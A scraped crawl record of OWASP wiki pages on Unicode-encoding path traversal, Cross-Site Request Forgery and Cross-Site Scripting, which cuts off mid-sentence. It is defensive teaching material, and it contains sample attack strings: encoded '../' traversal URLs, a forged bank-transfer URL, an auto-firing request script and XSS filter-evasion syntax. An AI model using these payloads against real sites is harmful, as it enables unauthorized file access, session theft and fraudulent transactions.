([Path\nTraversal](Path_Traversal) Attack) using Unicode format and\nattempt to access the protected resource, as follows:\n\nOriginal Path Traversal attack URL (without Unicode Encoding):\n\n`http://vulneapplication/../../appusers.txt`\n\nPath Traversal attack URL with Unicode Encoding:\n\n`http://vulneapplication/%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFappusers.txt`\n\nThe Unicode encoding for the URL above will produce the same result as\nthe first URL (Path Traversal Attack). However, if the application has\nan input security filter mechanism, it could refuse any request\ncontaining “../” sequence, thus blocking the attack. However, if this\nmechanism doesn’t consider character encoding, the attacker can bypass\nand access protected resource.\n\nOther consequences of this type of attack are privilege escalation,\narbitrary code execution, data modification, and denial of service.\n\n- [:Category:Command\nExecution](:Category:Command_Execution)\n- [:Category:Information\nDisclosure](:Category:Information_Disclosure)\n\n- [Path Traversal](Path_Traversal)\n- [Embedding Null Code](Embedding_Null_Code)\n\n- [:Category:Input Validation\nVulnerability](:Category:Input_Validation_Vulnerability)\n\n- [:Category:Input Validation](:Category:Input_Validation)\n\n## References\n\n- [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0884](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0884) -\nCVE-2000-0884\n- [http://capec.mitre.org/data/definitions/71.html](http://capec.mitre.org/data/definitions/71.html) - Using Unicode\nEncoding to Bypass Validation Logic\n- [http://www.microsoft.com/technet/security/bulletin/MS00-078.mspx](http://www.microsoft.com/technet/security/bulletin/MS00-078.mspx) -\nPatch Available for ‘Web Server Folder Traversal’ Vulnerability\n- [http://www.kb.cert.org/vuls/id/739224](http://www.kb.cert.org/vuls/id/739224) - HTTP content scanning\nsystems full-width/half-width Unicode encoding bypass\n- [http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html](http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html) - URL\nencoded attacks, by Gunter Ollmann\n- [http://scissec.scis.ecu.edu.au/conferences2007/documents/cheong_kai_wai_1.pdf](http://scissec.scis.ecu.edu.au/conferences2007/documents/cheong_kai_wai_1.pdf)\n - Penetration testing of cross site scripting and SQL injection on\n web application by Cheong Kai Wee\n\n[Category:OWASP ASDR Project](Category:OWASP_ASDR_Project) [Category:Resource\nManipulation](Category:Resource_Manipulation) [Category:Attack](Category:Attack)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 3376, "slov": 325, "odkazu": 45, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:33:48", "sha256": "2f0e4c1c7140b9a94595787d824626717573372ea00dcbc4421c0bf02ed3a728", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0884", "http://capec.mitre.org/data/definitions/71.html", "http://www.microsoft.com/technet/security/bulletin/MS00-078.mspx", "http://www.kb.cert.org/vuls/id/739224", "http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html", "http://scissec.scis.ecu.edu.au/conferences2007/documents/cheong_kai_wai_1.pdf", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/attacks/csrf", "titulek": "Cross Site Request Forgery (CSRF) | OWASP Foundation", "h1": "Cross Site Request Forgery (CSRF)", "popis": "Cross Site Request Forgery (CSRF) on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/attacks/csrf", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Cross Site Request Forgery (CSRF) on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Cross Site Request Forgery (CSRF) | OWASP Foundation", "og:url": "https://community.owasp.org/attacks/csrf", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Cross Site Request Forgery (CSRF)"}, {"uroven": 2, "text": "Overview"}, {"uroven": 3, "text": "How to Review Code for CSRF Vulnerabilities"}, {"uroven": 3, "text": "How to Test for CSRF Vulnerabilities"}, {"uroven": 3, "text": "How to Prevent CSRF Vulnerabilities"}, {"uroven": 2, "text": "Description"}, {"uroven": 3, "text": "Synonyms"}, {"uroven": 2, "text": "Prevention measures that do NOT work"}, {"uroven": 3, "text": "Only accepting POST requests"}, {"uroven": 3, "text": "Multi-Step Transactions"}, {"uroven": 3, "text": "URL Rewriting"}, {"uroven": 3, "text": "HTTPS"}, {"uroven": 2, "text": "Examples"}, {"uroven": 3, "text": "How does the attack work?"}, {"uroven": 4, "text": "GET scenario"}, {"uroven": 4, "text": "POST scenario"}, {"uroven": 4, "text": "Other HTTP methods"}, {"uroven": 2, "text": "References"}], "markdown": "# Cross Site Request Forgery (CSRF)\n\n**Author:** KirstenS \n **Contributor(s):** Dave Wichers, Davisnw, Paul Petefish, Adar Weidman, Michael Brooks, Ahsan Mir, Dc, D0ubl3 h3lix, Jim Manico, Robert Gilbert, Tgondrom, Pawel Krawczyk, Brandt, A V Minhaz, Kevin Lorenzo, Andrew Smith, Christina Schelin, Ari Elias-Bachrach, Sarciszewski, kingthorin, Ben Spatafora, Krishna Madala\n\n## Overview\n\nCross-Site Request Forgery (CSRF) is an attack that forces an end user\nto execute unwanted actions on a web application in which they’re\ncurrently authenticated. With a little help of social engineering\n(such as sending a link via email or chat), an attacker may trick the\nusers of a web application into executing actions of the attacker’s\nchoosing. If the victim is a normal user, a successful CSRF attack can\nforce the user to perform state changing requests like transferring\nfunds, changing their email address, and so forth. If the victim is an\nadministrative account, CSRF can compromise the entire web application.\n\n### How to Review Code for CSRF Vulnerabilities\n\nSee the [OWASP Code Review\nGuide](/www-project-code-review-guide) article on how to\n[review code for CSRF\nvulnerabilities](/www-project-code-review-guide/reviewing-code-for-csrf-issues).\n\n### How to Test for CSRF Vulnerabilities\n\nSee the [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) article on how to\ntest for CSRF vulnerabilities.\n\n### How to Prevent CSRF Vulnerabilities\n\nSee the [CSRF Prevention Cheat\nSheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html) for prevention measures.\n\nListen to the [OWASP Top Ten CSRF\nPodcast](http://wiki.owasp.org/download/jmanico/owasp_podcast_69.mp3).\n\nMost frameworks have built-in CSRF support such as\n[Joomla](http://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms),\n[Spring](http://blog.eyallupu.com/2012/04/csrf-defense-in-spring-mvc-31.html),\n[Struts](http://web.securityinnovation.com/appsec-weekly/blog/bid/84318/Cross-Site-Request-Forgery-CSRF-Prevention-Using-Struts-2),\n[Ruby on\nRails](http://guides.rubyonrails.org/security.html#cross-site-request-forgery-csrf),\n[.NET](https://www.troyhunt.com/2010/11/owasp-top-10-for-net-developers-part-5.html)\nand others.\n\nUse [OWASP CSRF Guard](/www-project-csrfguard/) to\nadd CSRF protection to your Java applications.\n\nJohn Melton also has an [excellent blog\npost](http://www.jtmelton.com/2010/05/16/the-owasp-top-ten-and-esapi-part-6-cross-site-request-forgery-csrf/)\ndescribing how to use the native anti-CSRF functionality of the [OWASP\nESAPI](http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API).\n\n## Description\n\nCSRF is an attack that tricks the victim into submitting a malicious\nrequest. It inherits the identity and privileges of the victim to\nperform an undesired function on the victim’s behalf (though note that\nthis is not true of login CSRF, a special form of the attack described\nbelow). For most sites, browser requests automatically include any\ncredentials associated with the site, such as the user’s session\ncookie, IP address, Windows domain credentials, and so forth.\nTherefore, if the user is currently authenticated to the site, the site\nwill have no way to distinguish between the forged request sent by the\nvictim and a legitimate request sent by the victim.\n\nCSRF attacks target functionality that causes a state change on the\nserver, such as changing the victim’s email address or password, or\npurchasing something. Forcing the victim to retrieve data doesn’t\nbenefit an attacker because the attacker doesn’t receive the response,\nthe victim does. As such, CSRF attacks target state-changing requests.\n\nAn attacker can use CSRF to obtain the victim’s private data via a\nspecial form of the attack, known as login CSRF. The attacker forces\na non-authenticated user to log in to an account the attacker controls.\nIf the victim does not realize this, they may add personal data—such as\ncredit card information—to the account. The attacker can then log back\ninto the account to view this data, along with the victim’s activity\nhistory on the web application.\n\nIt’s sometimes possible to store the CSRF attack on the vulnerable site\nitself. Such vulnerabilities are called “stored CSRF flaws”. This can be\naccomplished by simply storing an IMG or IFRAME tag in a field that\naccepts HTML, or by a more complex cross-site scripting attack. If the\nattack can store a CSRF attack in the site, the severity of the attack\nis amplified. In particular, the likelihood is increased because the\nvictim is more likely to view the page containing the attack than some\nrandom page on the Internet. The likelihood is also increased because\nthe victim is sure to be authenticated to the site already.\n\n### Synonyms\n\nCSRF attacks are also known by a number of other names, including XSRF,\n“Sea Surf”, Session Riding, Cross-Site Reference Forgery, and Hostile\nLinking. Microsoft refers to this type of attack as a One-Click attack\nin their threat modeling process and many places in their online\ndocumentation.\n\n## Prevention measures that do **NOT** work\n\nA number of flawed ideas for defending against CSRF attacks have been\ndeveloped over time. Here are a few that we recommend you avoid.\n\nRemember that all cookies, even the *secret* ones, will be submitted\nwith every request. All authentication tokens will be submitted\nregardless of whether or not the end-user was tricked into submitting\nthe request. Furthermore, session identifiers are simply used by the\napplication container to associate the request with a specific session\nobject. The session identifier does not verify that the end-user\nintended to submit the request.\n\n### Only accepting POST requests\n\nApplications can be developed to only accept POST requests for the\nexecution of business logic. The misconception is that since the\nattacker cannot construct a malicious link, a CSRF attack cannot be\nexecuted. Unfortunately, this logic is incorrect. There are numerous\nmethods in which an attacker can trick a victim into submitting a forged\nPOST request, such as a simple form hosted in an attacker’s Website with\nhidden values. This form can be triggered automatically by JavaScript or\ncan be triggered by the victim who thinks the form will do something\nelse.\n\n### Multi-Step Transactions\n\nMulti-Step transactions are not an adequate prevention of CSRF. As long\nas an attacker can predict or deduce each step of the completed\ntransaction, then CSRF is possible.\n\n### URL Rewriting\n\nThis might be seen as a useful CSRF prevention technique as the attacker\ncannot guess the victim’s session ID. However, the user’s session ID is\nexposed in the URL. We don’t recommend fixing one security flaw by\nintroducing another.\n\n### HTTPS\n\nHTTPS by itself does nothing to defend against CSRF.\n\nHowever, HTTPS should be considered a prerequisite for any preventative\nmeasures to be trustworthy.\n\nThis doesn’t work in practice because the referrer header can be easily \nspoofed by an attacker. Additionally, some users or browsers might not \nsend the referrer header due to privacy settings or policies, leading to false\npositives. Moreover, there are situations where the referrer can be null, such \nas when a user navigates to a site from a bookmark or any other resource without \na traditional url. In these scenarios, legitimate requests could be mistaken as \npotential CSRF attacks, which would result in more potential false positive flags.\n\n## Examples\n\n### How does the attack work?\n\nThere are numerous ways in which an end user can be tricked into loading\ninformation from or submitting information to a web application. In\norder to execute an attack, we must first understand how to generate a\nvalid malicious request for our victim to execute. Let us consider the\nfollowing example: Alice wishes to transfer $100 to Bob using the\n*bank.com* web application that is vulnerable to CSRF. Maria, an\nattacker, wants to trick Alice into sending the money to Maria instead.\nThe attack will comprise the following steps:\n\n1. Building an exploit URL or script\n2. Tricking Alice into executing the action with [Social Engineering](https://en.wikipedia.org/wiki/Social_engineering_(security))\n\n#### GET scenario\n\nIf the application was designed to primarily use GET requests to\ntransfer parameters and execute actions, the money transfer operation\nmight be reduced to a request like:\n\n`GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1`\n\nMaria now decides to exploit this web application vulnerability using\nAlice as the victim. Maria first constructs the following exploit URL\nwhich will transfer $100,000 from Alice’s account to Maria’s account. Maria\ntakes the original command URL and replaces the beneficiary name with\nherself, raising the transfer amount significantly at the same time:\n\n`http://bank.com/transfer.do?acct=MARIA&amount=100000`\n\nThe [social engineering](https://en.wikipedia.org/wiki/Social_engineering_(security)) aspect of the\nattack tricks Alice into loading this URL when Alice is logged into the\nbank application. This is usually done with one of the following\ntechniques:\n\n- sending an unsolicited email with HTML content\n- planting an exploit URL or script on pages that are likely to be visited by the victim while they are also doing online banking\n\nThe exploit URL can be disguised as an ordinary link, encouraging the\nvictim to click it:\n\n`View my Pictures!`\n\nOr as a 0x0 fake image:\n\n``\n\nIf this image tag were included in the email, Alice wouldn’t see\nanything. However, the browser *will still* submit the request to\nbank.com without any visual indication that the transfer has taken\nplace.\n\nA real life example of CSRF attack on an application using GET was a\n[uTorrent\nexploit](https://www.ghacks.net/2008/01/17/dos-vulnerability-in-utorrent-and-bittorrent/)\nfrom 2008 that was used on a mass scale to download malware.\n\n#### POST scenario\n\nThe only difference between GET and POST attacks is how the attack is\nbeing executed by the victim. Let’s assume the bank now uses POST and\nthe vulnerable request looks like this:\n\n```\nPOST http://bank.com/transfer.do HTTP/1.1\n\nacct=BOB&amount=100\n```\n\nSuch a request cannot be delivered using standard A or IMG tags, but can\nbe delivered using a FORM tags:\n\n```\n
\n\n\n\n\n\n
\n```\n\nThis form will require the user to click on the submit button, but this\ncan be also executed automatically using JavaScript:\n\n```\n\n\n\nfunction put() {\n var x = new XMLHttpRequest();\n x.open(\"PUT\",\"http://bank.com/transfer.do\",true);\n x.setRequestHeader(\"Content-Type\", \"application/json\");\n x.send(JSON.stringify({\"acct\":\"BOB\", \"amount\":100})); \n}\n\n\n\n```\n\nFortunately, this request will **not** be executed by modern web\nbrowsers thanks to [same-origin policy](https://en.wikipedia.org/wiki/Same-origin_policy)\nrestrictions. This restriction is enabled by default unless the target\nweb site explicitly opens up cross-origin requests from the attacker’s\n(or everyone’s) origin by using\n[CORS](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html)\nwith the following header:\n\n`Access-Control-Allow-Origin: *`\n\n- [Cross-site Scripting (XSS)](https://owasp.org/www-community/attacks/xss/)\n- [Cross Site History Manipulation (XSHM)](https://owasp.org/www-community/attacks/Cross_Site_History_Manipulation_(XSHM))\n\n- Add a per-request nonce to the URL and all forms in addition to the standard session. This is also referred to as “form keys”. Many frameworks (e.g., Drupal.org 4.7.4+) either have or are starting to include this type of protection “built-in” to every form so the programmer does not need to code this protection manually.\n- Add a hash (session id, function name, server-side secret) to all forms.\n- For .NET, add a session identifier to ViewState with MAC (described in detail in [the DotNet Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DotNet_Security_Cheat_Sheet.html#asp-net-web-forms-guidance) ).\n- Checking the referrer header in the client’s HTTP request can prevent CSRF attacks. Ensuring that the HTTP request has come from the original site means that attacks from other sites will not function. It is very common to see referrer header checks used on embedded network hardware due to memory limitations.\n - XSS can be used to bypass both referrer and token based checks simultaneously. For instance, the [Samy worm](https://en.wikipedia.org/wiki/Samy_%28computer_worm%29) used an `XMLHttpRequest` to obtain the CSRF token to forge requests.\n- “Although CSRF is fundamentally a problem with the web application, not the user, users can help protect their accounts at poorly designed sites by logging off the site before visiting another, or clearing their browser’s cookies at the end of each browser session.” –http://en.wikipedia.org/wiki/Cross-site_request_forgery#_note-1\n\n## References\n\n- OWASP [Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n- [The Cross-Site Request Forgery (CSRF/XSRF) FAQ](http://www.cgisecurity.com/articles/csrf-faq.shtml)\n\n> “This paper serves as a living document for Cross-Site Request Forgery issues. This document will serve as a repository of information from existing papers, talks, and mailing list postings and will be updated as new information is discovered.”*\n\n- [Testing for CSRF](\\www-project-web-security-testing-guide\\)\n - CSRF (aka Session riding) paper from the OWASP Testing Guide project.\n- [CSRF Vulnerability: A ‘Sleeping Giant’](https://www.darkreading.com/risk/csrf-vulnerability-a-sleeping-giant/d/d-id/1128371)\n - Overview Paper\n- [Client Side Protection against Session Riding](https://wiki.owasp.org/index.php/File:RequestRodeo-MartinJohns.pdf)\n - Martin Johns and Justus Winter’s interesting paper and presentation for the 4th OWASP AppSec Conference which described potential techniques that browsers could adopt to automatically provide CSRF protection - [PDF paper](https://wiki.owasp.org/index.php/File:RequestRodeo-MartinJohns.pdf)\n- [OWASP CSRF Guard](/www-project-csrfguard/)\n - J2EE, .NET, and PHP Filters which append a unique request token to each form and link in the HTML response in order to provide universal coverage against CSRF throughout your entire application.\n- [OWASP CSRF Protector](/www-project-csrfprotector/)\n - Anti CSRF method to mitigate CSRF in web applications. Currently implemented as a PHP library & Apache 2.x.x module\n- [A Most-Neglected Fact About Cross Site Request Forgery (CSRF)](http://yehg.net/lab/pr0js/view.php/A_Most-Neglected_Fact_About_CSRF.pdf)\n - Aung Khant, [http://yehg.net](http://yehg.net) , explained the danger and impact of CSRF with imperiling scenarios.\n- [Pinata-CSRF-Tool: CSRF POC tool](https://code.google.com/p/pinata-csrf-tool/)\n - Pinata makes it easy to create Proof of Concept CSRF pages. Assists in Application Vulnerability Assessment.\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 15665, "slov": 2156, "odkazu": 57, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:33:37", "sha256": "0f0911cb525fd51f75ba6c7228031ae6745a78567604029d1a48a1a21c0e2194", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html", "http://wiki.owasp.org/download/jmanico/owasp_podcast_69.mp3", "http://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms", "http://blog.eyallupu.com/2012/04/csrf-defense-in-spring-mvc-31.html", "http://web.securityinnovation.com/appsec-weekly/blog/bid/84318/Cross-Site-Request-Forgery-CSRF-Prevention-Using-Struts-2", "http://guides.rubyonrails.org/security.html", "https://www.troyhunt.com/2010/11/owasp-top-10-for-net-developers-part-5.html", "http://www.jtmelton.com/2010/05/16/the-owasp-top-ten-and-esapi-part-6-cross-site-request-forgery-csrf/", "http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API", "https://en.wikipedia.org/wiki/Social_engineering_(security)", "https://www.ghacks.net/2008/01/17/dos-vulnerability-in-utorrent-and-bittorrent/", "https://en.wikipedia.org/wiki/Same-origin_policy", "https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/DotNet_Security_Cheat_Sheet.html", "https://en.wikipedia.org/wiki/Samy_(computer_worm)", "http://www.cgisecurity.com/articles/csrf-faq.shtml", "https://www.darkreading.com/risk/csrf-vulnerability-a-sleeping-giant/d/d-id/1128371", "https://wiki.owasp.org/index.php/File:RequestRodeo-MartinJohns.pdf", "http://yehg.net/lab/pr0js/view.php/A_Most-Neglected_Fact_About_CSRF.pdf", "http://yehg.net/", "https://code.google.com/p/pinata-csrf-tool/", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/attacks/xss/", "titulek": "Cross Site Scripting (XSS) | OWASP Foundation", "h1": "Cross Site Scripting (XSS)", "popis": "Cross Site Scripting (XSS) on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/attacks/xss/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Cross Site Scripting (XSS) on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Cross Site Scripting (XSS) | OWASP Foundation", "og:url": "https://community.owasp.org/attacks/xss/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Cross Site Scripting (XSS)"}, {"uroven": 2, "text": "Overview"}, {"uroven": 3, "text": "How to Avoid Cross-site scripting Vulnerabilities"}, {"uroven": 3, "text": "How to Review Code for Cross-site scripting Vulnerabilities"}, {"uroven": 3, "text": "How to Test for Cross-site scripting Vulnerabilities"}, {"uroven": 2, "text": "Description"}, {"uroven": 3, "text": "Reflected and Stored XSS Attacks"}, {"uroven": 4, "text": "Reflected XSS Attacks"}, {"uroven": 4, "text": "Stored XSS Attacks"}, {"uroven": 4, "text": "Blind Cross-site Scripting"}, {"uroven": 3, "text": "Other Types of XSS Vulnerabilities"}, {"uroven": 4, "text": "XSS Attack Consequences"}, {"uroven": 3, "text": "How to Determine If You Are Vulnerable"}, {"uroven": 3, "text": "How to Protect Yourself"}, {"uroven": 3, "text": "Alternate XSS Syntax"}, {"uroven": 4, "text": "XSS Using Script in Attributes"}, {"uroven": 5, "text": "onmouseover"}, {"uroven": 5, "text": "onerror"}, {"uroven": 4, "text": "XSS Using Script Via Encoded URI Schemes"}, {"uroven": 4, "text": "XSS Using Code Encoding"}, {"uroven": 2, "text": "Examples"}, {"uroven": 3, "text": "Example 1"}, {"uroven": 3, "text": "Example 2"}, {"uroven": 3, "text": "Attack Examples"}, {"uroven": 3, "text": "Error Page Example"}, {"uroven": 2, "text": "References"}], "markdown": "# Cross Site Scripting (XSS)\n\n**Author:** KirstenS \n **Contributor(s):** Jim Manico, Jeff Williams, Dave Wichers, Adar Weidman, Roman, Alan Jex, Andrew Smith, Jeff Knutson, Imifos, Erez Yalon, kingthorin, Vikas Khanna. Grant Ongers\n\n## Overview\n\nCross-Site Scripting (XSS) attacks are a type of injection, in which\nmalicious scripts are injected into otherwise benign and trusted\nwebsites. XSS attacks occur when an attacker uses a web application to\nsend malicious code, generally in the form of a browser side script, to\na different end user. Flaws that allow these attacks to succeed are\nquite widespread and occur anywhere a web application uses input from a\nuser within the output it generates without validating or encoding it.\n\nAn attacker can use XSS to send a malicious script to an unsuspecting\nuser. The end user’s browser has no way to know that the script should\nnot be trusted, and will execute the script. Because it thinks the\nscript came from a trusted source, the malicious script can access any\ncookies, session tokens, or other sensitive information retained by the\nbrowser and used with that site. These scripts can even rewrite the\ncontent of the HTML page. For more details on the different types of XSS\nflaws, see: [Types of Cross-Site Scripting](../../Types_of_Cross-Site_Scripting).\n\n### How to Avoid Cross-site scripting Vulnerabilities\n\n- [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n- [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html)\n- OWASP Development Guide [article on Data Validation](https://wiki.owasp.org/index.php/Data_Validation)\n- OWASP Development Guide [article on Phishing](https://wiki.owasp.org/index.php/Phishing)\n\n### How to Review Code for Cross-site scripting Vulnerabilities\n\nSee the [OWASP Code Review Guide](https://owasp.org/www-project-code-review-guide/).\n\n### How to Test for Cross-site scripting Vulnerabilities\n\nSee the latest [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) article on how to\ntest for the various kinds of XSS vulnerabilities.\n\n- [Testing_for_Reflected_Cross_site_scripting](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting.html)\n- [Testing_for_Stored_Cross_site_scripting](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting.html)\n- [Testing_for_DOM-based_Cross_site_scripting](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/01-Testing_for_DOM-based_Cross_Site_Scripting.html)\n\n## Description\n\nCross-Site Scripting (XSS) attacks occur when:\n\n1. Data enters a Web application through an untrusted source, most frequently a web request.\n2. The data is included in dynamic content that is sent to a web user without being validated for malicious content.\n\nThe malicious content sent to the web browser often takes the form of a\nsegment of JavaScript, but may also include HTML, Flash, or any other\ntype of code that the browser may execute. The variety of attacks based\non XSS is almost limitless, but they commonly include transmitting\nprivate data, like cookies or other session information, to the\nattacker, redirecting the victim to web content controlled by the\nattacker, or performing other malicious operations on the user’s machine\nunder the guise of the vulnerable site.\n\n### Reflected and Stored XSS Attacks\n\nXSS attacks can generally be categorized into two categories: reflected \nand stored. There is a third, much less well-known type of XSS attack\ncalled [DOM Based XSS](../DOM_Based_XSS) that is discussed\nseparately [here](../DOM_Based_XSS).\n\n#### Reflected XSS Attacks\n\nReflected attacks are those where the injected script is reflected off\nthe web server, such as in an error message, search result, or any other\nresponse that includes some or all of the input sent to the server as\npart of the request. Reflected attacks are delivered to victims via\nanother route, such as in an e-mail message, or on some other website.\nWhen a user is tricked into clicking on a malicious link, submitting a\nspecially crafted form, or even just browsing to a malicious site, the\ninjected code travels to the vulnerable web site, which reflects the\nattack back to the user’s browser. The browser then executes the code\nbecause it came from a “trusted” server. Reflected XSS is also sometimes\nreferred to as Non-Persistent or Type-I XSS (the attack is carried out \nthrough a single request / response cycle).\n\n#### Stored XSS Attacks\n\nStored attacks are those where the injected script is permanently stored\non the target servers, such as in a database, in a message forum,\nvisitor log, comment field, etc. The victim then retrieves the malicious\nscript from the server when it requests the stored information. Stored\nXSS is also sometimes referred to as Persistent or Type-II XSS.\n\n#### Blind Cross-site Scripting\n\nBlind Cross-site Scripting is a form of persistent XSS. It generally occurs when the attacker’s payload saved on the server and reflected back to the victim from the backend application. For example in feedback forms, an attacker can submit the malicious payload using the form, and once the backend user/admin of the application will open the attacker’s submitted form via the backend application, the attacker’s payload will get executed. \nBlind Cross-site Scripting is hard to confirm in the real-world scenario but one of the best tools for this is XSS Hunter.\n\n### Other Types of XSS Vulnerabilities\n\nIn addition to Stored and Reflected XSS, another type of XSS, [DOM Based\nXSS](../DOM_Based_XSS) was identified by [Amit Klein\nin 2005](http://www.webappsec.org/projects/articles/071105.shtml). OWASP\nrecommends the XSS categorization as described in the OWASP Article:\n[Types of Cross-Site Scripting](../../Types_of_Cross-Site_Scripting), which covers all\nthese XSS terms, organizing them into a matrix of Stored vs. Reflected\nXSS and Server vs. Client XSS, where DOM Based XSS is a subset of Client\nXSS.\n\n#### XSS Attack Consequences\n\nThe consequence of an XSS attack is the same regardless of whether it is\nstored or reflected ([or DOM Based](../DOM_Based_XSS)). The\ndifference is in how the payload arrives at the server. Do not be fooled\ninto thinking that a “read-only” or “brochureware” site is not\nvulnerable to serious reflected XSS attacks. XSS can cause a variety of\nproblems for the end user that range in severity from an annoyance to\ncomplete account compromise. The most severe XSS attacks involve\ndisclosure of the user’s session cookie, allowing an attacker to hijack\nthe user’s session and take over the account. Other damaging attacks\ninclude the disclosure of end user files, installation of Trojan horse\nprograms, redirecting the user to some other page or site, or modifying\npresentation of content. An XSS vulnerability allowing an attacker to\nmodify a press release or news item could affect a company’s stock price\nor lessen consumer confidence. An XSS vulnerability on a pharmaceutical\nsite could allow an attacker to modify dosage information resulting in\nan overdose. For more information on these types of attacks see\n[Content_Spoofing](../Content_Spoofing).\n\n### How to Determine If You Are Vulnerable\n\nXSS flaws can be difficult to identify and remove from a web\napplication. The best way to find flaws is to perform a security review\nof the code and search for all places where input from an HTTP request\ncould possibly make its way into the HTML output. Note that a variety of\ndifferent HTML tags can be used to transmit a malicious JavaScript.\nNessus, Nikto, and some other available tools can help scan a website\nfor these flaws, but can only scratch the surface. If one part of a\nwebsite is vulnerable, there is a high likelihood that there are other\nproblems as well.\n\n### How to Protect Yourself\n\nThe primary defenses against XSS are described in the [OWASP XSS Prevention Cheat\nSheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n\nAlso, it’s crucial that you turn off HTTP TRACE support on all web\nservers. An attacker can steal cookie data via Javascript even when\ndocument.cookie is disabled or not supported by the client. This attack\nis mounted when a user posts a malicious script to a forum so when\nanother user clicks the link, an asynchronous HTTP Trace call is\ntriggered which collects the user’s cookie information from the server,\nand then sends it over to another malicious server that collects the\ncookie information so the attacker can mount a session hijack attack.\nThis is easily mitigated by removing support for HTTP TRACE on all web\nservers.\n\nThe [OWASP ESAPI project](https://www.owasp.org/www-project-enterprise-security-api) has produced a set of\nreusable security components in several languages, including validation\nand escaping routines to prevent parameter tampering and the injection\nof XSS attacks. In addition, the [OWASP WebGoat Project](https://www.owasp.org/www-project-webgoat/) training\napplication has lessons on Cross-Site Scripting and data encoding.\n\n### Alternate XSS Syntax\n\n#### XSS Using Script in Attributes\n\nXSS attacks may be conducted without using ``\ntags. Other tags will do exactly the same thing, for example:\n`` or other attributes like: `onmouseover`, `onerror`.\n\n##### onmouseover\n\n`click me!`\n\n##### onerror\n\n``\n\n#### XSS Using Script Via Encoded URI Schemes\n\nIf we need to hide against web application filters we may try to encode\nstring characters, e.g.: `a=&\\#X41` (UTF-8) and use it in `IMG` tags:\n\n``\n\nThere are many different UTF-8 encoding notations that give us even more\npossibilities.\n\n#### XSS Using Code Encoding\n\nWe may encode our script in base64 and place it in `META` tag. This way we\nget rid of `alert()` totally. More information about this method can be\nfound in RFC 2397\n\n```\n \n```\n\nThese and others examples can be found at the OWASP 